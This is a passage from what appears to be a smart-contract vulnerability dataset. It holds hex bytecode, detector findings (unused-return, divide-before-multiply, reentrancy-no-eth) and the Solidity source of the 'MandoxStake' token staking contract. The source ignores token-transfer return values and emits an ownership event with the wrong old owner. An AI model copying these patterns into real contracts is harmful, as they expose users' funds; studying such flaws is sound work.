05160206111d7833981519152604482015290519081900360640190fd5b6001546040805163095ea7b360e01b81526001600160a01b03848116600483015260001960248301529151919092169163095ea7b39160448083019260209291908290030181600087803b158015610b9057600080fd5b505af1158015610ba4573d6000803e3d6000fd5b505050506040513d6020811015610bba57600080fd5b50506040516001600160a01b038216907fb87d41b5cab885fb2ce4b4c06efc62eea320378130b36c709de7d45facaa1bc890600090a250565b60005461010090046001600160a01b03163314610c45576040805162461bcd60e51b815260206004820181905260248201526000805160206111d7833981519152604482015290519081900360640190fd5b6001600160a01b038116610c8a5760405162461bcd60e51b81526004018080602001828103825260268152602001806111b16026913960400191505060405180910390fd5b600080546040516001600160a01b038085169361010090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600154600160a81b900460ff1615610d0757600080fd5b8051825114610d1557600080fd5b60005b8251811015610eab576000846001600160a01b03166398807d84858481518110610d3e57fe5b60200260200101516040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610d8357600080fd5b505afa158015610d97573d6000803e3d6000fd5b505050506040513d6020811015610dad57600080fd5b505184519091508190600490600090879086908110610dc857fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002055600354610df99082611181565b6003558251839083908110610e0a57fe5b602002602001015160056000868581518110610e2257fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550838281518110610e5a57fe5b60200260200101516001600160a01b03167f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d826040518082815260200191505060405180910390a250600101610d18565b50600154604080516370a0823160e01b81526001600160a01b038681166004830152915191909216916323b872dd918691309185916370a08231916024808301926020929190829003018186803b158015610f0557600080fd5b505afa158015610f19573d6000803e3d6000fd5b505050506040513d6020811015610f2f57600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b158015610f8757600080fd5b505af1158015610f9b573d6000803e3d6000fd5b505050506040513d6020811015610fb157600080fd5b5051610fbc57600080fd5b50506001805460ff60a81b1916600160a81b17905550565b6001600160a01b038116600090815260046020526040812054600354829161108a91610fff9161111c565b6106e061100a6106b9565b600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561105857600080fd5b505afa15801561106c573d6000803e3d6000fd5b505050506040513d602081101561108257600080fd5b50519061111c565b6001600160a01b038416600090815260056020526040812054919250906110b290429061113e565b9050600062278d008211156110ea576110d86110d18362278d0061111c565b8490611153565b90506110e78262278d00611193565b91505b81156111145761111161110a61110362278d008561111c565b859061111c565b8290611181565b90505b949350505050565b600080821161112a57600080fd5b600082848161113557fe5b04949350505050565b60008282111561114d57600080fd5b50900390565b60008261116257506000610738565b8282028284828161116f57fe5b041461117a57600080fd5b9392505050565b60008282018381101561117a57600080fd5b60008161119f57600080fd5b8183816111a857fe5b06939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220c04fd7236e64b6b2b54105cbe3cfdb7ebd77ffa2f88293b37ec579d0d7e80f8d64736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,968 |
0x4b2d86cc0609ac8e7bc025957fc95ebffb85be1c | /**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
//"SPDX-License-Identifier: UNLICENSED"
/*$MANDOX STAKING!
https://t.me/officialmandox
https://officialmandox.com
https://discord.gg/mandox
https://twitter.com/officialmandox
https://linktr.ee/mandox_official
*/
pragma solidity ^0.6.0;
interface IERC20 {
function transfer(address to, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function balanceOf(address tokenOwner) external view returns (uint balance);
function approve(address spender, uint tokens) external returns (bool success);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function totalSupply() external view returns (uint);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
contract MandoxStake is Owned {
//initializing safe computations
using SafeMath for uint;
//Mandox contract address-- Lead/lead/LEAD is the staking token address
address public lead;
//total amount of staked Mandox
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //10 = 1% <-- always + 1 "0"
//tax amount for registration // 1000 = 1000/ 10000 = 10000
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //100 = 1% 200 = 2% 2=0.02%/7%avg APR
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //10 = 1% 20-2% same as staking tax rate
//minimum stakeable Mandox
uint public minimumStakeValue; //10000000000000 = 10000 / # + 9 "0s"
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
lead = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers andox from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(lead).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough MANDOX to pay registration fee.");
//makes sure smart contract transfers Mandox from user
require(IERC20(lead).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked Mandox amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(lead).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers Mandox from user
require(IERC20(lead).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked Mandox amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked Mandox amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(lead).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(lead).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient LEAD balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(lead).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(lead).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(lead).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient LEAD balance in pool');
//transfers _amount to _address
IERC20(lead).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806370f0f387116100f9578063c428e11411610097578063f24ee7d311610071578063f24ee7d3146106a9578063f2fde38b146106f7578063f5c762cb1461073b578063fbfaa24d14610759576101c4565b8063c428e114146105a1578063db74559b146105f9578063e0de0c6814610651576101c4565b8063a14d71b8116100d3578063a14d71b8146104cb578063a694fc3a146104f9578063b2dd5c0714610527578063b73c6ce914610581576101c4565b806370f0f3871461045b578063817b1cd2146104795780638da5cb5b14610497576101c4565b806318e1fbfc1161016657806346bb0a161161014057806346bb0a16146103835780634be4d790146103b757806353aaa63b146103e557806366666aa91461043d576101c4565b806318e1fbfc146103095780631fb27cad146103275780632e17de7814610355576101c4565b80630c5386ee116101a25780630c5386ee146102355780630c9d52241461026357806313c33384146102a757806316934fc4146102b1576101c4565b806302fb0c5e146101c957806306693604146101e95780630aca582e14610217575b600080fd5b6101d1610777565b60405180821515815260200191505060405180910390f35b610215600480360360208110156101ff57600080fd5b810190808035906020019092919050505061078a565b005b61021f6107ec565b6040518082815260200191505060405180910390f35b6102616004803603602081101561024b57600080fd5b81019080803590602001909291905050506107f2565b005b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610854565b60405180821515815260200191505060405180910390f35b6102af610b0c565b005b6102f3600480360360208110156102c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb7565b6040518082815260200191505060405180910390f35b610311610bcf565b6040518082815260200191505060405180910390f35b6103536004803603602081101561033d57600080fd5b8101908080359060200190929190505050610bd5565b005b6103816004803603602081101561036b57600080fd5b8101908080359060200190929190505050610c37565b005b61038b6111e3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e3600480360360208110156103cd57600080fd5b8101908080359060200190929190505050611209565b005b610427600480360360208110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126b565b6040518082815260200191505060405180910390f35b610445611283565b6040518082815260200191505060405180910390f35b6104636113bb565b6040518082815260200191505060405180910390f35b6104816113c1565b6040518082815260200191505060405180910390f35b61049f6113c7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f7600480360360208110156104e157600080fd5b81019080803590602001909291905050506113eb565b005b6105256004803603602081101561050f57600080fd5b810190808035906020019092919050505061144d565b005b6105696004803603602081101561053d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aec565b60405180821515815260200191505060405180910390f35b610589611b0c565b60405180821515815260200191505060405180910390f35b6105e3600480360360208110156105b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061201f565b6040518082815260200191505060405180910390f35b61063b6004803603602081101561060f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612037565b6040518082815260200191505060405180910390f35b6106936004803603602081101561066757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061204f565b6040518082815260200191505060405180910390f35b6106f5600480360360408110156106bf57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061213d565b005b6107396004803603602081101561070d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a1a565b005b610743612b2f565b6040518082815260200191505060405180910390f35b610761612b35565b6040518082815260200191505060405180910390f35b600860009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107e257600080fd5b8060048190555050565b60045481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461084a57600080fd5b8060068190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108af57600080fd5b81610988600254600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561093f57600080fd5b505afa158015610953573d6000803e3d6000fd5b505050506040513d602081101561096957600080fd5b8101908080519060200190929190505050612b3b90919063ffffffff16565b10156109df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612d456021913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a7257600080fd5b505af1158015610a86573d6000803e3d6000fd5b505050506040513d6020811015610a9c57600080fd5b8101908080519060200190929190505050507fefbfe3c015941f3419cd0c7f713fd74c6874d0da2d765adc7f700370ccd5ba5c3383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b6457600080fd5b600860009054906101000a900460ff1615610b99576000600860006101000a81548160ff021916908315150217905550610bb5565b6001600860006101000a81548160ff0219169083151502179055505b565b60096020528060005260406000206000915090505481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c2d57600080fd5b8060038190555050565b60011515600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610cfd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5374616b65686f6c646572206d7573742062652072656769737465726564000081525060200191505060405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111158015610d4c5750600081115b610dbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f496e73756666696369656e742062616c616e636520746f20756e7374616b650081525060200191505060405180910390fd5b6000610de96103e8610ddb84600654612b5590919063ffffffff16565b612b8290919063ffffffff16565b90506000610e008284612b3b90919063ffffffff16565b9050610e5c610e0e3361204f565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef183600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3b90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610f9d62015180610f8f600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442612b3b90919063ffffffff16565b612bbc90919063ffffffff16565b9050610fb28142612b3b90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100a84600254612b3b90919063ffffffff16565b600281905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110a357600080fd5b505af11580156110b7573d6000803e3d6000fd5b505050506040513d60208110156110cd57600080fd5b8101908080519060200190929190505050506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611180576000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b7fefe5e683dfe58f596b38874c815bc9599676515f5e641a3305c40aba31c822a7338585604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461126157600080fd5b8060078190555050565b600a6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112de57600080fd5b6113b6600254600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561136d57600080fd5b505afa158015611381573d6000803e3d6000fd5b505050506040513d602081101561139757600080fd5b8101908080519060200190929190505050612b3b90919063ffffffff16565b905090565b60035481565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461144357600080fd5b8060058190555050565b60011515600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5374616b65686f6c646572206d7573742062652072656769737465726564000081525060200191505060405180910390fd5b60011515600860009054906101000a900460ff1615151461157f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612cc86023913960400191505060405180910390fd5b6007548110156115da576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612db26024913960400191505060405180910390fd5b80600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561166457600080fd5b505afa158015611678573d6000803e3d6000fd5b505050506040513d602081101561168e57600080fd5b810190808051906020019092919050505010156116f6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612ceb6021913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156117a757600080fd5b505af11580156117bb573d6000803e3d6000fd5b505050506040513d60208110156117d157600080fd5b8101908080519060200190929190505050611837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612d87602b913960400191505060405180910390fd5b60006118626103e861185484600354612b5590919063ffffffff16565b612b8290919063ffffffff16565b905060006118798284612b3b90919063ffffffff16565b905061189081600254612ba290919063ffffffff16565b6002819055506118f06118a23361204f565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061199c6201518061198e600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442612b3b90919063ffffffff16565b612bbc90919063ffffffff16565b90506119b18142612b3b90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a4682600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507ffeb41de252fbc1de97d95a27ed44f6044e66e11df6ca319955eef830b598fdb4338385604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b600080611bba611b1b3361204f565b611bac600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba290919063ffffffff16565b612ba290919063ffffffff16565b905060008111611c32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4e6f2072657761726420746f207769746864726177000000000000000000000081525060200191505060405180910390fd5b80611d0b600254600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611cc257600080fd5b505afa158015611cd6573d6000803e3d6000fd5b505050506040513d6020811015611cec57600080fd5b8101908080519060200190929190505050612b3b90919063ffffffff16565b1015611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612d456021913960400191505060405180910390fd5b6000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611e9a62015180611e8c600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442612b3b90919063ffffffff16565b612bbc90919063ffffffff16565b9050611eaf8142612b3b90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f8557600080fd5b505af1158015611f99573d6000803e3d6000fd5b505050506040513d6020811015611faf57600080fd5b8101908080519060200190929190505050507fefbfe3c015941f3419cd0c7f713fd74c6874d0da2d765adc7f700370ccd5ba5c3383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160019250505090565b600c6020528060005260406000206000915090505481565b600b6020528060005260406000206000915090505481565b6000806120b9620151806120ab600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442612b3b90919063ffffffff16565b612b8290919063ffffffff16565b905061213561271061212783612119600554600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b5590919063ffffffff16565b612b5590919063ffffffff16565b612b8290919063ffffffff16565b915050919050565b60001515600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146121e6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612d666021913960400191505060405180910390fd5b60011515600860009054906101000a900460ff16151514612252576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612cc86023913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f742072656665722073656c6600000000000000000000000000000081525060200191505060405180910390fd5b600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061237857508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff16145b6123ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f526566657272